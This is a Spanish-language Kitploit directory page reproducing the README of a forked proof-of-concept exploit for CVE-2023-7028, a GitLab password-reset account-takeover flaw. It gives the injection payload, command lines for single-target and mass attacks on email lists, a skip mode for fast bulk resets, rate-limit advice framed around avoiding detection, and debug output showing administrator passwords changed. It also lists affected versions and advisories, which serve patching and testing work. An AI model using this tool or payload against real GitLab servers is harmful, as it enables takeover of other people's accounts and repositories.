Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/szybnev/cve-2023-7028
Ataques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubszybnev/cve-2023-7028

CVE-2023-7028

Este FORK del repositorio presenta una prueba de concepto de CVE-2023-7028. Solo estoy mejorando el uso del exploit.

Ver Repositorio
11hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-7028 | Toma de control de cuenta en GitLab

Descargo de responsabilidad

Este código es una prueba de concepto de la vulnerabilidad. No animo a nadie a usarlo en instancias de GitLab que no le pertenezcan. Esta herramienta ha sido desarrollada únicamente con fines de investigación y educativos, y no me haré responsable de cualquier uso que puedas hacer de ella.

Descripción

Esto es un fork del repositorio https://github.com/Vozec/CVE-2023-7028. Solo he mejorado el uso del exploit.

CVE-2023-7028 hace referencia a una vulnerabilidad de toma de control de cuenta (Account Take-Over) que permite a los usuarios tomar el control de la cuenta administrador de GitLab sin interacción del usuario.

La vulnerabilidad reside en la gestión de los correos electrónicos al restablecer contraseñas. Un atacante puede proporcionar 2 correos electrónicos y el código de restablecimiento se enviará a ambos. Por lo tanto, es posible proporcionar la dirección de correo de la cuenta objetivo junto con la del atacante y restablecer la contraseña del administrador. (GitLab señala que la autenticación de dos factores impide que esta vulnerabilidad sea explotada, ya que un atacante, incluso después de restablecer la contraseña, no podrá iniciar sesión.)

Esta vulnerabilidad fue descubierta por asterion04

Payload

A continuación se muestra un ejemplo de payload

root@kitploit:~
user[email][][email protected]&user[email][][email protected]

PoC

Método 1: Uso de correo temporal (objetivo único)

root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW

Método 2: Uso de correo malicioso (objetivo único)

root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

Método 3: Uso de una lista de correos desde archivo

root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt

[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting full attacks on 806 target(s) with rate limit 10 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Attack completed: 800/806 requests sent, 750/806 passwords reset

Método 4: Modo skip: solo enviar solicitudes de restablecimiento (más rápido)

root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt --skip -rps 20

[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting reset requests on 806 target(s) with rate limit 20 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
[DEBUG] Processing target 2/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Reset requests completed: 800/806 successful

Ayuda

root@kitploit:~
$ python3 ./CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL (-t TARGET | -l EMAIL_LIST) [-e EVIL] [-p PASSWORD] [--skip] [-rps RATE_LIMIT]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Gitlab url
-t TARGET, --target TARGET
Target email
-l EMAIL_LIST, --list EMAIL_LIST
File with target emails list
-e EVIL, --evil EVIL Evil email
-p PASSWORD, --password PASSWORD
Password
--skip Skip password reset, only send reset requests
-rps RATE_LIMIT, --rate RATE_LIMIT
Requests per second (default: 10)

Notas de uso

  • Objetivo único: Usa el parámetro -t para atacar una única dirección de correo
  • Múltiples objetivos: Usa el parámetro -l para cargar direcciones de correo desde un archivo (una por línea)
  • Correo malicioso: Sin la opción --evil, el script utiliza un correo temporal público para encontrar el enlace de restablecimiento (ten cuidado durante los pentests)
  • Modo skip: Usa --skip para solo enviar solicitudes de restablecimiento sin esperar el restablecimiento de contraseña (más rápido para ataques masivos)
  • Límite de peticiones: Usa -rps para controlar las solicitudes por segundo (por defecto: 10). Valores más altos = más rápido pero más detectable
  • Formato de la lista de correos: Archivo de texto plano con un correo por línea

Ejemplos

root@kitploit:~
# Single target with custom password
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -p MyCustomPass123

# Mass attack with slower rate limit
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt -rps 5

# Fast reconnaissance - only send reset requests
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt --skip -rps 50

Versiones afectadas

  • 16.1 a 16.1.5
  • 16.2 a 16.2.8
  • 16.3 a 16.3.6
  • 16.4 a 16.4.4
  • 16.5 a 16.5.5
  • 16.6 a 16.6.3
  • 16.7 a 16.7.1

Referencias

  • https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
  • https://docs.gitlab.com/ee/install/docker.html
  • https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0030/
Descargar herramienta